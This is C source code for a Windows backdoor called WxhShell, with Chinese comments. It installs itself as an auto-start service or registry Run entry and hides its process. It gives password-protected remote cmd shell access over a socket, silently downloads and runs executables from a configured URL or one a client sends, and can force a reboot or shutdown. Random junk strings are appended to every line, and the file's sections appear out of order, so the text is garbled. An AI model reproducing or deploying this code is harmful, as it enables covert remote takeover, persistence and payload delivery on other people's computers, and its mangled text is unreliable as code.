    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G B>T3l"  
    if(Boot(SHUTDOWN)) Bma.Uln  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "IWL& cH3  
    else { w"A>mEex<  
    closesocket(wsh); "c![s%  
    ExitThread(0); 9Z3Vf[n5\  
    } eO{2rV45O  
    break; Wck WX]};S  
    } pwF])uf*{\  
  // 获取shell Hq,N OP  
  case 's': { nQn=zbZ3  
    CmdShell(wsh); gV'=u z v  
    closesocket(wsh); 7'@~TM  
    ExitThread(0); wB<cW>6  
    break; {P%\& \{F  
  } ("=24R=a  
  // 退出 Cio (Ptt:  
  case 'x': { Yof ]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  AZ-JaE  
    CloseIt(wsh); "<"s&ws;k  
    break; 4 X0ku]  
    } b'RBel;W  
  // 离开 0iz\<' p  
  case 'q': { !T}R=;)e h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }c#W"y5l_  
    closesocket(wsh); "2T* w~V&y  
    WSACleanup(); 0 Gq<APtr  
    exit(1); &*~_ "WyU  
    break; ^n\g,  
        } #Q|ACNpYM  
  } 1NK,:m  
  } 3:b5#c?R-  
4c.!^EiV  
  // 提示信息 0X%#9s ~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U{HBmSR  
} `<% w4 E  
  } 5g2:o^  
l585L3i  
  return; w}x&wWM  
} [Fr <tKtB  
t<+gyAW  
// shell模块句柄 -?ebkHe  
int CmdShell(SOCKET sock) @~IZ%lEQsD  
{ BqOMg$<\[  
STARTUPINFO si; {65_k  
ZeroMemory(&si,sizeof(si)); YO;@Tj2)x  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gyC Xv0*z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `,FhCT5  
PROCESS_INFORMATION ProcessInfo; ''.\DC~K  
char cmdline[]="cmd"; QVD^p;b  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %O>_$ 4q  
  return 0; Q?dzro4C  
} t5S!j2E  
&=lh Kt  
// 自身启动模式 y"ms;w'z  
int StartFromService(void) u/5)Yx+5_  
{ DF"*[]^[  
typedef struct So#>x5dL  
{ 1*B'o<?P1  
  DWORD ExitStatus; .L_ Hk  
  DWORD PebBaseAddress; $XFFNE`%  
  DWORD AffinityMask; p{w;y6e  
  DWORD BasePriority; ,){WK|_  
  ULONG UniqueProcessId; d ewN\  
  ULONG InheritedFromUniqueProcessId; -nB. .q  
}   PROCESS_BASIC_INFORMATION; gq+#=!(2  
1xU)nXXb  
PROCNTQSIP NtQueryInformationProcess; W1O Y}2kj  
et`rPK~m  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qn` \g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; TZ PUVOtL_  
WhDNt+uk)  
  HANDLE             hProcess; uHyc7^X>  
  PROCESS_BASIC_INFORMATION pbi; 6H|&HV(!R  
OC`Mzf%.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {z8wFL\  
  if(NULL == hInst ) return 0; ]?hlpL  
!]P=v`B.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ='HLA-uT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *YTv"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Qy) -gax:,  
:tLMh08h  
  if (!NtQueryInformationProcess) return 0; e`% <D[-  
ZZW%6-B  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hj3wxH.}  
  if(!hProcess) return 0; iD:T KB_r  
8{p#Nl?U1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kT&GsR/  
?O/!pUAu  
  CloseHandle(hProcess); Dfd%Z;Yu  
4I;$a;R!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u:\DqdlU`  
if(hProcess==NULL) return 0; {uiL91j.  
v79\(BX  
HMODULE hMod; V"|j Dnn5  
char procName[255]; wUmcA~3D  
unsigned long cbNeeded; xc$jG?83#  
wmit>69S  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m?`$NJST  
r7  *'s  
  CloseHandle(hProcess); _Ns_$_  
6$p6dmV|  
if(strstr(procName,"services")) return 1; // 以服务启动 M}9PicI?7  
Rhh.fV3  
  return 0; // 注册表启动 =OooTZb:x-  
} :"Kr-Hm`  
2;YL+v2  
// 主模块 E)( Rhvij  
int StartWxhshell(LPSTR lpCmdLine) qLm g18  
{ +K"d\<  
  SOCKET wsl; FJ O- p  
BOOL val=TRUE; @5TJ]=  
  int port=0; 2Xp?O+b#"O  
  struct sockaddr_in door; A)D1 #,0  
6?3\P>`3Y  
  if(wscfg.ws_autoins) Install(); ?rgtbiSW-  
(e[8`C  
port=atoi(lpCmdLine); 6"jV>CNc@  
AM4 :xz  
if(port<=0) port=wscfg.ws_port; A)u,Hvn  
p}-B>v  
  WSADATA data; Q E*`#r#e  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i  M!=/  
+L#Q3}=s  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Bfr$&?j#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g}*F"k4j  
  door.sin_family = AF_INET; Z<$ y)bf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (hIy31Pf  
  door.sin_port = htons(port); 'E1m-kJz  
a &tl@y1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u/X1v-2  
closesocket(wsl); 0 I[3%Q{  
return 1; Lz}mz-N  
} N uq/y=  
wnbKUlb  
  if(listen(wsl,2) == INVALID_SOCKET) { ~ ^) 4*@i6  
closesocket(wsl); 0uf)6(f  
return 1; 0-zIohSJdQ  
} lag%} ^  
  Wxhshell(wsl); 47 9yG/+\  
  WSACleanup(); g2GHsVS  
c=~FXV!  
return 0; A\~tr   
#Ue_  
} ]jwF[D  
UU]a).rz  
// 以NT服务方式启动 vrvOPLiQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f;%\4TH?  
{ DsF<P@O6  
DWORD   status = 0; ffS]%qa  
  DWORD   specificError = 0xfffffff; R3@$ao  
!;;WS~no3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0^&-j.9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; L:RMZp*bK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G,h=5y9_J  
  serviceStatus.dwWin32ExitCode     = 0; ^`oyf{w@  
  serviceStatus.dwServiceSpecificExitCode = 0; .wz.Jr`{  
  serviceStatus.dwCheckPoint       = 0; S(h+,+289  
  serviceStatus.dwWaitHint       = 0; \>r<z46x  
%v 1NDhaXz  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8yn}|Y9Fu  
  if (hServiceStatusHandle==0) return; ^jZ4tH3K  
SpiI9)gp  
status = GetLastError(); 3+2cD  
  if (status!=NO_ERROR) e2$k %c~  
{ /l$>W<}@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  K na  
    serviceStatus.dwCheckPoint       = 0; JO"-"&>  
    serviceStatus.dwWaitHint       = 0; sc &S0K  
    serviceStatus.dwWin32ExitCode     = status; fr([g?F%D  
    serviceStatus.dwServiceSpecificExitCode = specificError; eU.HS78  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q~*>  
    return; ;]xJC j  
  } l<=Y.P_2  
pcjb;&<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5t~p99#?  
  serviceStatus.dwCheckPoint       = 0; [DO UIR9  
  serviceStatus.dwWaitHint       = 0; E]j2%}6Z%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \dw*yZ^  
} QIZbAnn_  
\1b!I)T9  
// 处理NT服务事件,比如:启动、停止 LHJjPf)F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z 361ko}  
{ {%Q &CQG_  
switch(fdwControl) "]0sR  
{ BX=YS)  
case SERVICE_CONTROL_STOP: F~tT5?+  
  serviceStatus.dwWin32ExitCode = 0; SN/ e41  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |] 8Hh>  
  serviceStatus.dwCheckPoint   = 0; Foc) u~  
  serviceStatus.dwWaitHint     = 0; 9py *gN#  
  { *P}v82C N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V8{5 y <Y>  
  } iN+Tig?c  
  return; E||[(l,b  
case SERVICE_CONTROL_PAUSE: c>nXnN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; NRgNW1#  
  break; pv #uLo  
case SERVICE_CONTROL_CONTINUE: j[<}l&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S.X*)CBB  
  break; WGeTL`}dh  
case SERVICE_CONTROL_INTERROGATE: bI?YNt,  
  break; 4tv}V:EO  
}; vkQkU,q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c3$h-M(jVJ  
} =UW! 7OzC  
t^zmv PDK  
// 标准应用程序主函数 ">^O{X\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w0i v\yIRQ  
{  B1!b@0^  
0kdPr:B Q0  
// 获取操作系统版本 N ?mTAF'M  
OsIsNt=GetOsVer(); o<r|YRzQl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kxp, ZP  
g1s\6%g  
  // 从命令行安装 N-4k 9l1  
  if(strpbrk(lpCmdLine,"iI")) Install(); *.]M1  
b7_uT`<  
  // 下载执行文件 ToWtltCD  
if(wscfg.ws_downexe) { $<(FZb=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y}pCBw  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q(\U'|%J  
} 8NRc+@f|m  
<p74U( V  
if(!OsIsNt) { !K~:crUV|S  
// 如果时win9x,隐藏进程并且设置为注册表启动 xF4>G0  
HideProc(); lSzLR~=Au  
StartWxhshell(lpCmdLine); `Z:5E  
} <cn{S`  
else b=Y:`&o=[  
  if(StartFromService()) ~ :\QC  
  // 以服务方式启动 #gL$~.1  
  StartServiceCtrlDispatcher(DispatchTable); |_^A$Hv  
else _z$lg]q  
  // 普通方式启动 B8'e,9   
  StartWxhshell(lpCmdLine); "5,tEP!  
,c;u]  
return 0; :DlgNR`bq  
} t<|S7EqIL  
N=QeeAI}}m  
l12_&o"C~  
9$u'2TV  
=========================================== g5 J[ut  
z"@yE*6  
9svnB@  
y.l`NTT] <  
"#a_--"k9  
1b,,uI_  
" R\B-cU[,  
nf7l}^/UE  
#include <stdio.h> eXqS9`zKr  
#include <string.h> d }"Dp  
#include <windows.h> QKAo}1Pq  
#include <winsock2.h> lbCTc,xT  
#include <winsvc.h> Vg0$5@  
#include <urlmon.h> zIyMq3  
!e}LB%zf  
#pragma comment (lib, "Ws2_32.lib") .1[[Y}  
#pragma comment (lib, "urlmon.lib") ;;2Yfn'`9  
RvQl{aL  
#define MAX_USER   100 // 最大客户端连接数 2$g3ABfV  
#define BUF_SOCK   200 // sock buffer "AzA|zk')"  
#define KEY_BUFF   255 // 输入 buffer 0?tn.<'B8T  
7eh<>X!TX  
#define REBOOT     0   // 重启 ?5A!/`E&%  
#define SHUTDOWN   1   // 关机 ,&1DKx  
d&dp#)._8  
#define DEF_PORT   5000 // 监听端口 &3Q!'pJJ  
Z*}5M4  
#define REG_LEN     16   // 注册表键长度 $:#{Y;d  
#define SVC_LEN     80   // NT服务名长度 8%dE$smH  
){PL6|5x  
// 从dll定义API BixKK$Lo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &3SQVOW ~T  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8e`'Ox_5a  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {PXN$p:'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); GtCbzNY  
]5+db0  
// wxhshell配置信息 lm?1 K:+[  
struct WSCFG { L|7F%oR  
  int ws_port;         // 监听端口 Q!%4Iq%jr  
  char ws_passstr[REG_LEN]; // 口令 :+9KNyA  
  int ws_autoins;       // 安装标记, 1=yes 0=no uz(3ml^S  
  char ws_regname[REG_LEN]; // 注册表键名 :jol Nl|a  
  char ws_svcname[REG_LEN]; // 服务名 /$ -^k[%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vakAl;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b>B.3E\Pc  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dc .oK4G}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :Kl~hzVSOa  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" JP2zom  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |6%B2I&c  
\BV$p2m5-  
}; \B0,?_i  
WW'8&:x  
// default Wxhshell configuration h@5mVTb}i  
struct WSCFG wscfg={DEF_PORT, TsPx"+>7`  
    "xuhuanlingzhe", ^r u1QDT  
    1, fgs){ Ng`  
    "Wxhshell", .#M'  
    "Wxhshell", #bqc}h9  
            "WxhShell Service", l Ikh4T6i  
    "Wrsky Windows CmdShell Service", G d".zsn  
    "Please Input Your Password: ", 1^*M*>&d<  
  1, z%Xz*uu(|  
  "http://www.wrsky.com/wxhshell.exe", VOkEDH  
  "Wxhshell.exe" u}eqU%  
    }; y5d=r]_S:  
HAHv^  
// 消息定义模块 Oie0cz:>:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X}~5%B(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \ 2$nFr?0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +bG^SH2ke  
char *msg_ws_ext="\n\rExit."; s~@4  
char *msg_ws_end="\n\rQuit."; ~w&P]L\dB  
char *msg_ws_boot="\n\rReboot..."; 7IrbwAGZ3  
char *msg_ws_poff="\n\rShutdown..."; y#4f^J!V  
char *msg_ws_down="\n\rSave to "; 'l%b5:  
qno8qF*  
char *msg_ws_err="\n\rErr!"; 1}moT#  
char *msg_ws_ok="\n\rOK!"; 3fS+,>s\O  
gEVN;G'B<=  
char ExeFile[MAX_PATH]; U>bmCK2  
int nUser = 0; X=i^[?C  
HANDLE handles[MAX_USER]; ?onaJ=mT  
int OsIsNt; 8X6F6RK6,1  
CCCd=s.  
SERVICE_STATUS       serviceStatus; gWxpGW^eZ~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <5 R`E(  
rOt`5_2f  
// 函数声明 Y:GSjq  
int Install(void); VJK?"mX  
int Uninstall(void); :^c ' P<HM  
int DownloadFile(char *sURL, SOCKET wsh); #J 1vN]g  
int Boot(int flag); wABaNB=9;  
void HideProc(void); J}Q4.1WG$  
int GetOsVer(void); *hhPCYOm  
int Wxhshell(SOCKET wsl); LL|uMe"Jb  
void TalkWithClient(void *cs); DrfOz#a0Uu  
int CmdShell(SOCKET sock); w4m -DR5  
int StartFromService(void); 3{gD'y4j  
int StartWxhshell(LPSTR lpCmdLine); 8oM]gW;J~  
?-40bb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |\yVnk!c  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9n#Q1Xq  
q .[hwm  
// 数据结构和表定义 %^e~;i=2  
SERVICE_TABLE_ENTRY DispatchTable[] = [0M2`x4`  
{ 4fK(<2i  
{wscfg.ws_svcname, NTServiceMain}, [D8u.8q  
{NULL, NULL} Q}pnb3J>T  
}; ' }G! D  
W'3&\}  
// 自我安装 [I4:R_\  
int Install(void) [(Z sQK  
{ aR3R,6ec  
  char svExeFile[MAX_PATH]; f}jo18z%  
  HKEY key; s:_M+_7_  
  strcpy(svExeFile,ExeFile); 6`/nA4S4.  
n|t?MoUP  
// 如果是win9x系统,修改注册表设为自启动 mlIX>ss|7B  
if(!OsIsNt) { wA@y B"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c4]/{!4 Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "A_,Ga  
  RegCloseKey(key); ]2^tV.^S^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e,Ih7-=Er,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); + 9vd(c  
  RegCloseKey(key); c6IFt4)g  
  return 0; h5+qP"n!?q  
    } K"p$ga{  
  } >Oary  
} c,cc avv{I  
else { t`PA85.|d  
~i`@  
// 如果是NT以上系统,安装为系统服务 u"rK5'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  tCT-cs  
if (schSCManager!=0) W/z\j/Rgc  
{ l[KFK%?  
  SC_HANDLE schService = CreateService Y)?dq(  
  ( Z3:M%)e_u$  
  schSCManager, I6bekOvP  
  wscfg.ws_svcname, G8c 8`~t  
  wscfg.ws_svcdisp, 7@[3]c<=  
  SERVICE_ALL_ACCESS, bjgf8427I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4nC`DJ;V  
  SERVICE_AUTO_START, KfC8~{O-  
  SERVICE_ERROR_NORMAL, xM ]IU <  
  svExeFile, a&>Tk%  
  NULL, q3+G  
  NULL, 2k\i/i/Y  
  NULL, 3j{VpacZY  
  NULL, 9fk@C/$  
  NULL #[.vfG  
  ); 'qGKS:8  
  if (schService!=0) w]Q0}Z  
  { czMu<@c [  
  CloseServiceHandle(schService); bFivHms  
  CloseServiceHandle(schSCManager); 8.Q;o+NU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R5`"~qP-  
  strcat(svExeFile,wscfg.ws_svcname); "qEi$a&]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ql1HaC/5)-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /:]`TlAb,  
  RegCloseKey(key); 'r KDw06/  
  return 0; g.AMCM?z  
    } wzX 1!?  
  } RX-qL,dc  
  CloseServiceHandle(schSCManager); UQGOCP_  
} "][MCVYP  
} UjmBLXz@T  
y`"~zq0D  
return 1; :D-xa!7  
} *?/9lAm  
^i3~i?\,P  
// 自我卸载 j, SOL9yg  
int Uninstall(void) n@pm5f  
{ `v*UY  
  HKEY key; y`"b%P)+T  
m'Jk!eo  
if(!OsIsNt) { +xqPyR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hFORs.L&G  
  RegDeleteValue(key,wscfg.ws_regname); #UR4I2t*  
  RegCloseKey(key); ->DfT*)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IUX~dO  
  RegDeleteValue(key,wscfg.ws_regname); Vp =  
  RegCloseKey(key); 1}#(4tw)  
  return 0; >>lT-w  
  } hg}Rh  
} FhJ8}at+e  
} l26DPtWi  
else { j M%qv  
"j+zd&*={  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K`!q1 g`  
if (schSCManager!=0) ,vBi)H  
{ SK2nxZOH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); TNs0^h)  
  if (schService!=0) [@Hv,  
  { auOYi<<>W  
  if(DeleteService(schService)!=0) { VKtrSY}6T  
  CloseServiceHandle(schService); 8'=8!V  
  CloseServiceHandle(schSCManager); @Q:5{?  
  return 0; NTRw:'  
  } N2yxli  
  CloseServiceHandle(schService); =Qt08,.bW  
  } b .9]b  
  CloseServiceHandle(schSCManager); {I s?>m4  
} v:s.V>{"S  
} QcyYTg4i  
xk}(u`:.  
return 1; S>~QuCMY  
} /yHM =&Vg]  
WNkAI9B  
// 从指定url下载文件 qzv$E;zAl  
int DownloadFile(char *sURL, SOCKET wsh) g%z?O[CN  
{ uq;,h46ki  
  HRESULT hr; H \ $04vkR  
char seps[]= "/"; kc&>l (  
char *token; RulZh2C  
char *file; n7~!klF-  
char myURL[MAX_PATH]; 'L#qR)t  
char myFILE[MAX_PATH]; |RqCw7  
{p -b,J9~a  
strcpy(myURL,sURL); :[gM 5G  
  token=strtok(myURL,seps); 8+Lig  
  while(token!=NULL) 5TlPs_o  
  { '>:mEXK}w  
    file=token; sa\v9  
  token=strtok(NULL,seps); xwxMVp`|o  
  } yb BLBJb  
Qh%(yL!  
GetCurrentDirectory(MAX_PATH,myFILE); }Sa2s&[<  
strcat(myFILE, "\\"); #pJ^w>YNy  
strcat(myFILE, file); J-g#zs  
  send(wsh,myFILE,strlen(myFILE),0); EUdu"'=4a  
send(wsh,"...",3,0); 7+aTrE{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "rz|sbj  
  if(hr==S_OK) y}jX/Ln  
return 0; Ba/Z<1)  
else H27J kZ&  
return 1; zuOx@T^  
?'H);ou-p  
}  /kGRN @  
pyK|zvr-r  
// 系统电源模块 M70Xdn  
int Boot(int flag) A:3bL: ;t  
{ VNx|nP&  
  HANDLE hToken; 8ID fYJ  
  TOKEN_PRIVILEGES tkp; 0*^)n&O  
SJ1 1LF3)  
  if(OsIsNt) { i70TJk$fs  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >V:g'[b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (80#{4kl  
    tkp.PrivilegeCount = 1; -d\O{{%>.z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _5Q?]-M  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >8;Co]::kx  
if(flag==REBOOT) { 2BOe,giy  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F,#)8>O  
  return 0; Yo:l@(  
} zECdj'/  
else { =LJc8@<:f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \ief [  
  return 0; qPdNI1 |  
} -X(%K6{  
  } EzY?=<Y(  
  else { fclmxTy  
if(flag==REBOOT) { x#"|Z&Dw0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :u#Ls,OZz  
  return 0; E"iH$NN  
} SymSAq0$F  
else { j(G}4dib  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) yEUFK  
  return 0; Ak%M,``(L  
} !]Z> T5$  
} K^AX=B  
XtfO;`   
return 1; 9&5\L  
} @YmD 79  
5,>1rd<B  
// win9x进程隐藏模块 'Omi3LXfDT  
void HideProc(void) ^\ &:'$f+8  
{ ]H7_bix  
8Dpf{9Y-E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ABEC{3fWpu  
  if ( hKernel != NULL ) zcItZP  
  { W5?F?Dp!v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z<rdxn,9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y|b|_eE?{  
    FreeLibrary(hKernel); jzc/Olb  
  } H n+1I  
$DW3H1iW  
return; L f[>U  
} (A?{6  
f&t]O$  
// 获取操作系统版本 ,-A8;DW]^J  
int GetOsVer(void) phSF. WC  
{ !mK[kXo  
  OSVERSIONINFO winfo; {s|rk  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 35Nwx<  
  GetVersionEx(&winfo); (+>~6SE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OxX{[|!`  
  return 1; rKq/=Avv  
  else +4ax~fuU  
  return 0; UiS9uGj  
} 8WV1OIL  
Rk^Fasg"  
// 客户端句柄模块 =nOV!!  
int Wxhshell(SOCKET wsl) :7p0JGd  
{ eA&hiAP/  
  SOCKET wsh; a&)0_i:r  
  struct sockaddr_in client; Pgg6(O9}B^  
  DWORD myID; c"t1E-Nsk  
4vTO  #F  
  while(nUser<MAX_USER) k|-`d  
{ PaV[{ CD  
  int nSize=sizeof(client); &oiX/UaY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @Fqh]1t  
  if(wsh==INVALID_SOCKET) return 1; (6z^m?t?  
exV6&bdu  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wXDF7tJh  
if(handles[nUser]==0) t$r^'ZN  
  closesocket(wsh); XETY)<g  
else )H$Ik)/N  
  nUser++; dv-yZRU:  
  } lDV8<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); g^8dDY[%  
]4\^>  
  return 0; `LH!"M  
} -2|D( sO  
>yUThhJRn  
// 关闭 socket dra'1E  
void CloseIt(SOCKET wsh) ];6c/#2x  
{ \v]}  
closesocket(wsh); wRb%-s  
nUser--; 7CUu:6%  
ExitThread(0); *103  
} B Hn`e~  
>5wA B  
// 客户端请求句柄 jpyV52  
void TalkWithClient(void *cs) }p}i _'%  
{ u#%Ig3  
|8&AsQd  
  SOCKET wsh=(SOCKET)cs; 5. :To2  
  char pwd[SVC_LEN]; f2_LfbvH  
  char cmd[KEY_BUFF]; 2*n2!7jZ*  
char chr[1]; - t4"BD  
int i,j; :q~qRRmjBe  
"$+naY{w  
  while (nUser < MAX_USER) { '0X!_w6W  
w>; :mf  
if(wscfg.ws_passstr) { +@]1!|@(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n<8$_?-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P~ _CDh.N  
  //ZeroMemory(pwd,KEY_BUFF); 0{ v?  
      i=0; 9 f-T>}  
  while(i<SVC_LEN) { swG^L$r`  
xj{X#[q):  
  // 设置超时 "Na9Xea  
  fd_set FdRead; O 4N_lr~  
  struct timeval TimeOut; J><O 51  
  FD_ZERO(&FdRead); L;nRI.  
  FD_SET(wsh,&FdRead); 52m^jT Sx  
  TimeOut.tv_sec=8; ?Li^XONz  
  TimeOut.tv_usec=0; a%tm[Re  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `NXyzT`:K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jp8=>mk  
m<8j' [+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Jl Q%+$  
  pwd=chr[0]; yr&oJYM  
  if(chr[0]==0xd || chr[0]==0xa) { YC&iH>jO3  
  pwd=0; ~D@ V@sX  
  break; z A&0H  
  } ,M7sOp6}  
  i++; 0o At=S  
    } fj0+a0h  
i0-!!  
  // 如果是非法用户,关闭 socket j6Jz  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rRcfZZ~` M  
} ~0ZEnejy  
'`"LX!"ZO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -_uL;9r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *IGxa  
=d~]*[8  
while(1) { ifTVTd7O  
|rdG+ >  
  ZeroMemory(cmd,KEY_BUFF); &-<"HW  
wuzz Wq  
      // 自动支持客户端 telnet标准   }K~JM1(26  
  j=0; aZ@4Z=LK  
  while(j<KEY_BUFF) { s%GiM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 68FxM#xR  
  cmd[j]=chr[0]; 6xdu}l=%  
  if(chr[0]==0xa || chr[0]==0xd) { "1%<IqpU+  
  cmd[j]=0; "x\3`Qk  
  break; *^Zt5 zk  
  } t8i"f L  
  j++; g ywI@QD%#  
    } 0#K@^a  
r{\cm Ds  
  // 下载文件 [.6>%G1C  
  if(strstr(cmd,"http://")) { mI9h| n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Zt lS*id_  
  if(DownloadFile(cmd,wsh)) ] |u}P2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "oz @w'rG  
  else 7;CeQx/W)W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [2i+f <  
  } + W@r p#  
  else { V.y+u7<3}  
W3<O+S&  
